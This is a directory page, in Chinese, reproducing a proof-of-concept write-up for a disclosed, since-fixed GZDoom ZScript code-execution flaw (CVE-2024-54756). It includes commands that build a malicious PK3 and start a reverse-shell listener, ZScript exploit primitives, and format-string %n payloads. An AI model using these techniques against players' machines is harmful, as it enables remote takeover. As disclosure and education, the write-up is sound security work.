Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC — CVE-2024-54756 的概念验证,这是我在 GZDoom 的 ZScript 脚本引擎中发现的一个漏洞。 | Kitploit
工具/GitHubGitHub/chainmanner/gzdoom-arbitrary-code-execution-via-zscript-poc
内存取证漏洞分析漏洞利用逆向工程Shellcode学习与教育Payload 开发二进制利用
GitHub

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
chainmanner/gzdoom-arbitrary-code-execution-via-zscript-poc

GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC

CVE-2024-54756 的概念验证,这是我在 GZDoom 的 ZScript 脚本引擎中发现的一个漏洞。

查看仓库
121年前尚未审核

GZDoom <= 4.13.1 通过恶意ZScript实现任意代码执行

我在 GZDoom(https://github.com/zdoom/gzdoom)的 ZScript 功能中发现了一个任意代码执行漏洞的概念验证。攻击者可以分享一个包含恶意 ZScript 源文件的 PK3 文件,并获取受害者电脑的访问权限。

非常感谢 GZDoom 开发团队中的 Rachael 和 Agent Ash 的及时回应,也感谢他们和其他 GZDoom 开发者迅速解决了这个问题!

受影响的版本

已在 4.13.0 和 4.13.1 上确认有效,并且早期版本可能也受影响。请警惕任何建议你降级到 4.13.1 或更低版本以玩他们的 WAD 的人。

此 PoC 仅适用于 Linux,但该漏洞可能也存在于 Windows 上。未在 ZDoom 或 LZDoom 上测试,但漏洞可能同样存在。

该漏洞已在此 PoC 发布前向开发者披露,应在 4.13.2 版本中不再存在。据我所知,该版本不包含任何实质性的破坏性更改。

免责声明

此 PoC 是出于教育目的制作和发布的,以便游戏/脚本引擎开发者了解漏洞如何产生,以及玩家了解恶意游戏模组可能是什么样的。对于任何滥用此 PoC 的行为,我不承担任何责任。请勿利用此来攻击其他玩家的电脑;这是非法的(不需要我来告诉你),尤其是通过视频游戏控制他人的电脑是一种卑鄙的行为。

使用 PoC

要使用此 PoC,请下载此仓库并创建一个包含 zscript.zs 和 MAPINFO 的 PK3 文件(实际上是一个扩展名为 .pk3 的 zip 文件):

root@kitploit:~
git clone https://github.com/Chainmanner/GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC
cd GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC
zip PoC.pk3 zscript.zs MAPINFO

默认 payload 是在 localhost 的 1337 端口上运行一个反向 shell。启动监听器:

root@kitploit:~
nc -nvlp 1337

按如下方式运行 PoC:

root@kitploit:~
gzdoom -iwad <your-doom-or-freedoom-wad> -file PoC.pk3

如果成功,你现在应该会有一个连接到自身的反向 shell。

此 PoC 仅适用于 Linux。可能第一次尝试无法成功;如果失败,请重试直到成功。

解释

注意:这是我第一次编写漏洞利用说明,我仍在努力提高进行底层说明的能力。此外,我大部分调试工作是用 GDB 完成的,不幸的是我没有留好存储转储来更好地说明我的解释。抱歉!我保证下一次的说明会更好。

GZDoom 是一个旨在提供高性能和可扩展性的 Doom 源代码端口。得益于其强大的功能,许多优秀的 WAD、模组甚至商业总转换都已制作完成。不幸的是,哪里有复杂性,哪里就有出现漏洞的机会,而在此案例中,ZScript 脚本引擎中存在两个漏洞,使得完整的攻击链得以形成。

此攻击击败了 ASLR,并绕过了绕过栈金丝雀的需要。我不认为 Clang 的 CFI 或影子栈会对此有所帮助。

漏洞

第一个也是最重要的漏洞在于如何处理巨大数组。如果你分配一个足够小的数组,分配的内存区域往往会被零填充,并与其他对象正确分离;从未初始化的内存中读取无法获取信息,也没有对象与数组重叠。但是,如果你分配一个巨大的数组——例如,1073741823 个 32 位字或更多——你将能够从数组的起始点读取和写入多达 4 GiB 的潜在未初始化内存,从而使攻击者能够直接修改其他对象,并通过发现具有已知偏移量的地址来击败 ASLR。此外,此后创建的任何其他数组都会与这个巨大数组重叠。

第二个漏洞在于内存映射权限。为了获得更快的性能,ZScript 代码会尽可能被 JIT 编译为 x86 或 x86-64 字节码。为了实现这一点,代码必须写入到一个内存区域,并且该内存区域必须可执行。然而,W^X 规则规定,一个区域应该是可写或可执行的,但不能同时具备两者。如果同时应用两者(而不是使该区域可写、写入代码、然后使其变成可执行且不可写),那么拥有任意写入原语的攻击者将能够将其升级为任意代码执行;他们可以写入 shellcode,并通过例如修改栈上的返回地址来跳转到它(假设攻击者没有任意执行原语)。如果你查看运行中的 GZDoom 的内存映射,你会看到几个 RWX 区域:

root@kitploit:~
7fcd19700000-7fcd19800000 rwxp 00000000 00:00 0
7fcd1a100000-7fcd1a200000 rwxp 00000000 00:00 0
7fcd1eb00000-7fcd1ec00000 rwxp 00000000 00:00 0

因此,如果任意写入和任意执行原语可用,并且攻击者知道任何 RWX 区域的位置,他们就可以写入任意 shellcode 并执行。在写入 JIT 编译代码时将区域设为 RW-,并在准备运行时设为 R-X,会阻止此 PoC,但不会阻止攻击者通过例如修改栈上数据(ROP)或堆上的数据来获得代码执行。

小工具

此外,还有一个有用的小工具。还记得当分配一个巨大数组时,之后创建的任何其他数组都会重叠吗?这包括对象指针数组。与 C++ 对象非常相似,ZScript 对象可以包含变量和函数指针。假设我们有这个对象:

root@kitploit:~
class WeirdObject
{
        uint one;
        uint two;
        uint three;
        uint four;
        Function<clearscope void()> funcptr;
}

如果我们创建一个包含指向 WeirdObject 实例的指针的数组,那么攻击者可以使用巨大数组将指针更改为任何想要的位置,并通过访问对象的字段来更改指向的数据,从而为我们提供一个超出堆范围的任意读/写原语。ZScript 中的指针会检查是否非空,但不会检查是否合理。

函数指针的存在还为我们提供了一个任意执行原语;然而,这有点不那么直接,需要创建一个伪 VMFunction 来满足虚拟机。一旦在利用代码中引入对 ZScript 函数的调用,该代码就不再是 JIT 编译的。仍然有效,但调试和利用起来会更加麻烦。可能有更好的方法来完成这部分,但我对 GZDoom 内部的研究不够深入,不知道更好的方法。

需要注意的一点:WeirdObject 有继承的成员变量,因此第一个成员从偏移量 0x28 开始。

利用

现在,我们有以下工具:

  • 从堆的巨大区域进行任意读/写
  • 超越堆的任意读/写/执行
  • RWX 区域

我们如何将它们链接起来以制作一个利用呢?

首先,由于启用了 ASLR,我们需要找出 RWX 区域的位置。任何一个都可以。巨大数组可访问的堆部分包含指向 RWX 区域内函数的地址,但也包含指向其他区域的地址;我们如何区分?回想一下,在 Linux 上,ASLR 有 28 位熵(有时更少!),这意味着虽然地址掩码 0x7fffffe00000 的位数是随机的,但 bits 0x0000001fffff 是静态的。因此,在禁用 ASLR 的情况下,假设我们有以下 RWX 区域:

root@kitploit:~
[0x7ffff2f00000, 0x7ffff3000000)
[0x7ffff3900000, 0x7ffff3a00000)
[0x7ffff4300000, 0x7ffff4400000)

然后我们可以使用以下 ZScript 代码打印指向 RWX 区域内 JIT 编译的 ZScript 函数的指针:

root@kitploit:~
uint u32pBFA9000[1073741823];
uint u32RWX_L;
uint u32RWX_H;

for (i = 0; i < (1073741823 / 2); i += 2)
{
	u32RWX_L = u32pBFA9000[i];
	u32RWX_H = u32pBFA9000[i+1];

	if ((u32RWX_H & 0xffff8000) == 0)
	{
		if ((u32RWX_L & 0xffe00000) == 0xf2e00000)
		{
			Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
		}
		if ((u32RWX_L & 0xffe00000) == 0xf3800000)
		{
			Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
		}
		if ((u32RWX_L & 0xffe00000) == 0xf4200000)
		{
			Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
		}
	}
}

通过将打印结果与 0x1fffff 进行 AND 运算获得偏移量,你可以使用这些偏移量来识别指向 RWX 区域的指针。你知道的偏移量越多,利用成功的概率就越大。

接下来,我们需要准备任意执行原语。我们通过使用任意写入原语修改小工具对象(如上面声明的 WeirdObject)中的函数指针来实现。在声明 u32pBFA9000 之后,开始创建任意写入和执行小工具对象:

root@kitploit:~
WeirdObject ppGadgetObjects[2];
ppGadgetObjects[0] = New("WeirdObject");        // 任意写入指针。
ppGadgetObjects[1] = New("WeirdObject");        // 任意执行对象。

ppGadgetObjects 与 u32pBFA9000 正好在开头重叠,并且请记住 WeirdObject 特定的成员从偏移量 0x28 开始。任意写入原语如下所示,其中 TARGET_ADDR 是目标写入地址,QWORD 是要写入的 64 位整数,_H/_L 分别表示 64 位整数的高 32 位和低 32 位:

root@kitploit:~
u32pBFA9000[0] = (TARGET_ADDR_L-0x28);
u32pBFA9000[1] = TARGET_ADDR_H;
ppGadgetObjects[0].one = QWORD_L;
ppGadgetObjects[0].two = QWORD_H;

我承认,我对 ZScript 函数指针的工作方式了解不足,这部分我仍然觉得很难解释,但无论如何我会尽力解释。如果让你更困惑,我道歉。

  • 在执行小工具 WeirdObject 的函数指针目标偏移量 0x38 处,是一个指向我无法识别的类/结构的指针。
  • 在这个未识别类/结构的偏移量 0x8 处,是一个指向 VMFunction 的指针。
  • 在 VMFunction 的偏移量 0xc 处,是 32 位的 VarFlags 成员。将其设置为零可以为调用 shellcode 提供更短的路径。
  • 在 VMFunction 的偏移量 0x58 处,是指向要调用的函数的实际指针。

我真的应该为此画个图,但现在我不想做 ASCII 艺术。请参阅利用源代码以了解上述内容的具体实现。 一旦上述内容处理完毕,我们就可以修改小工具对象中的函数指针。当我们调用它时,它将在 shellcode 写入后执行。

最后一步是编写 shellcode 本身。由于此 PoC 调用 shell 命令,还需要写入一些字符串("/bin/bash"、"-c"、命令字符串)。这部分可能简单也可能困难,具体取决于你想要执行的内容。

当所有操作完成后,你调用执行小工具 WeirdObject 指向的函数,现在你就已经执行了自己的 shellcode。

关于其他潜在漏洞的说明

我确实发现了一些其他漏洞,但找不到利用它们并给出完整 ACE 链的方法。strcpy() 栈溢出漏洞已在 4.13.2 版本中修复。mysnprintf() 格式字符串漏洞目前尚未修复,但如果要尝试利用它,祝你好运。

格式字符串漏洞

FFont 构造函数中存在一个格式字符串漏洞(实际上是两个),位于 common/fonts/font.cpp:

root@kitploit:~
[...]
if (nametemplate != nullptr)
{
	if (!iwadonly)
	{
		for (i = 0; i < lcount; i++)
		{
			int position = lfirst + i;
			mysnprintf(buffer, countof(buffer), nametemplate, i + start);

			lump = TexMan.CheckForTexture(buffer, ETextureType::MiscPatch);
			[...]
		}
	}
	else
	{
		FGameTexture *texs[256] = {};
		if (lcount > 256 - start) lcount = 256 - start;
		for (i = 0; i < lcount; i++)
		{
			TArray<FTextureID> array;
			mysnprintf(buffer, countof(buffer), nametemplate, i + start);

			TexMan.ListTextures(buffer, array, true);
			[...]
		}
		[...]
	}
	[...]
}
[...]

来自 FONTDEFS 数据段条目的 TEMPLATE 参数被直接传递给 mysnprintf()。这意味着可以有一个条目尝试基于栈变量加载字体,如下所示:

root@kitploit:~
EVILFONT
{
	TEMPLATE LOL%hhx
}

或者一个将已写字符数写入栈上某处,导致崩溃的条目:

root@kitploit:~
EVILFONT
{
        TEMPLATE ----AAAAAAAA%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%n
}

输出长度受到限制这一事实并不重要;百分号符号无论如何都会被解析,无论最大长度如何。

mysnprintf() 是一个自定义的、公共领域的 snprintf() 实现,为了性能而牺牲了灵活性。利用它比 libc 的标准实现要困难得多。例如,使用 %n,你只能写入 32 位字,并且不能使用 %<num>$n 来写入特定的栈元素。

strcpy() 栈溢出

此外,gamedata/statistics.cpp 中的 LevelStatEntry() 函数中有一个危险的 strcpy() 调用,其源数据可能比目标缓冲区更长。该函数:

root@kitploit:~
static void LevelStatEntry(FSessionStatistics *es, const char *level, const char *text, int playtime)
{
	FLevelStatistics s;
	time_t clock;
	struct tm *lt;

	time (&clock);
	lt = localtime (&clock);

	strcpy(s.name, level);
	strcpy(s.info, text);
	s.timeneeded=playtime;
	es->levelstats.Push(s);
}

FLevelStatistics 结构体(分配在栈上)如下所示:

root@kitploit:~
struct FLevelStatistics
{
	char info[60];
	short skill;
	short playerclass;
	char name[24];
	int timeneeded;
};

而 LevelStatEntry() 是这样被调用的,使用 LevelData.Levelname(类型为 std::string)作为参数:

root@kitploit:~
[...]
for(unsigned i = 0; i < LevelData.Size(); i++)
{
	FString lsection = LevelData[i].Levelname;
	^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
	lsection.ToUpper();
	infostring.Format("%4d/%4d, %4d/%4d, %3d/%3d",
		 LevelData[i].killcount, LevelData[i].totalkills, LevelData[i].itemcount, LevelData[i].totalitems, LevelData[i].secretcount, LevelData[i].totalsecrets);

	LevelStatEntry(es, lsection.GetChars(), infostring.GetChars(), LevelData[i].leveltime);
			   ^^^^^^^^^^^^^^^^^^^
}
SaveStatistics(statfile, EpisodeStatistics);
[...]

要到达这个点,需要从 FLevelLocals::ChangeLevel()(位于 g_level.cpp)开始的一整系列其他调用,但我在这里不多做展示。我只会说,在执行链到达这里的过程中,没有对 LevelData.Levelname 的长度进行检查或限制。

在现代系统上,这应该是不可利用的;栈金丝雀会阻止任何通过此途径的栈粉碎尝试,并且 ASLR 会阻止用户知道返回地址。此外,你只有一个小工具:在退出 LevelStatEntry() 时覆盖返回地址。然而,在较老的系统上,这些防御可能不存在,并且 JIT 编译的 ZScript 代码可能提供用于利用的小工具。

下载工具